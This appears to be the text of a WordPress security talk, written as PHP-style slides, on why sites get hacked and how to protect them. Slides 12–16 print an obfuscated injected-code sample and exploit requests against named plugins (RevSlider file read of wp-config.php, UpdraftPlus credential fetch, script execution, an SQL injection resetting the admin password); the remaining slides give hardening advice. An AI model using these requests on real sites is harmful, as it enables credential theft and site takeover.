// RESPONSIBLE FOR 70% OF THE ATTACKS
$first =“plugin”;
$second =“brute force”;
// OTHER 30%
$other = array(“code”, ”theme”, ”hosting”, ”file permissions”);
/* Source: Wordfence March 2016 */
11. /* O que fazem depois? */
// MOST OF THEM
$first_choice =“deface or take offline”;
$second_choice =“send spam”;
$third_choice =“seo spam”;
$other =“redirect”;
/* Source: Wordfence March 2016 */
12. /* Site comprometido por um
plugin */
// MOST COMMON METHOD
$using_method =“Local File Inclusion (LFI) attack.”;
// EXAMPLE - INJECTED CODE
<?php ${“Gx4cOx42x41x4cx53"}["x69wirx72x63x66x76"]="x69";${"x47Lx4fx42ALx53"}
["x61rx6bmx64z"]="mx6bx41x72r";${"x47x4cOx42x41x4cS"}["ex6ax71x68x68j
x6c"]="x6dx6bx5ftx65x6dp";${"GLOx42x41x4cx53"}["x72x66lx73x65x76x68m
x67x68x79"]="x73tx72x69x70Ax72x72";${"Gx4cx4fx42x41x4cx53"}["v
x72x72x71x78x6dx6dx77y"]="x63ax74x5fcross";${"x47x4cx4fx42ALx53"}
["x72x73x77x70x61x6cx78tx62x79n"]="tex6dx70lx61te";${"GLx4fx42Ax4cx53"}["g
x78x67ycx74x71x73"]="tx69tlx65"; ?>
13. /* Site comprometido por um
plugin */
// EXAMPLE - DOWNLOAD WP-CONFIG.PHP FILE - REVSLIDER
$wpconfig_content = file_get_contents(“http://victim.com/wp-admin/admin-
ajax.php?action=revslider_show_image&img=../wp-config.php”);
/* Source: http://finalphoenix.me/ */
14. /* Site comprometido por um
plugin */
// EXAMPLE - PHPINFO WITH CONSTANTS OR DOWNLOADING BACKUPS OR
UPLOADING FILES
$nonce = file_get_contents(“http://victim.com/wp-admin/admin.php?
action=upgrade-plugin”);
$credentials = file_get_contents(“http://victim.com/wp-admin/admin.php?
action=updraft_ajax_handler&nonce=$nonce”);
/* Source: http://finalphoenix.me/ */
15. /* Site comprometido por um
plugin */
// EXAMPLE - EXECUTING SCRIPTS
$script_to_execute =“phpinfo()”;
$content_of_phpinfo = file_get_contents(“http://victim.com/wp-admin/
admin-post.php?action=wp_ajax_easymedia_imgresize_ajax?imgurl=
$script_to_execute”);
/* Source: http://finalphoenix.me/ */
16. /* Site comprometido por um
plugin */
// EXAMPLE - DATABASE INJECTION (MISSING ASCII TO HTML CODE CONVERSION)
$context = …
$query_to_inject =“update wp_users set password=md5(‘123’) where id=1”;
$chage_password = file_get_contents(“http://victim.com/wp-admin/admin.php?
page=aiowpsec&tab=tab1&orderby=$query_to_inject”, false, $context);
/* Source: http://finalphoenix.me/ */
17. /* Site comprometido por um
plugin */
// HOW TO PROTECT AGAINST ATTACKS THROUGH PLUGINS?
$simple_solution =“update, update, update!”;
$other_tips = array (“dont use old plugins”,“search for news about security
issues”,“take a look at the code”);
18. /* Site comprometido por brute
force */
// PASSWORD GUESSING ATTACK
$tips = array(“dont user obvious usernames”,“dont use simple passwords”,“create a new admin
account”);
$how_to_avoid =“two factor authentication”;
$other_solution = array(“change /wp-admin”,“blacklist IPs trying to login and failing for more than
x times”);
19. /* Site comprometido por outros
motivos */
// SET THE CORRECT PERMISSIONS
$folders =“0755”;
$files =“0644”;
$wp_config =“0444”;
$htaccess =“0444”;
20. /* Site comprometido por outros
motivos */
// SET THE CORRECT .HTACCESS CONTENT
$things_you_can_do = array(“block IPs”,“protect files”,“allow certain file
extensions from wp_content/*”);
21. /* Site comprometido por outros
motivos */
// HAVE LATEST OS UPDATES INSTALLED
if ($i_have_a_server() == true) { update_os(); }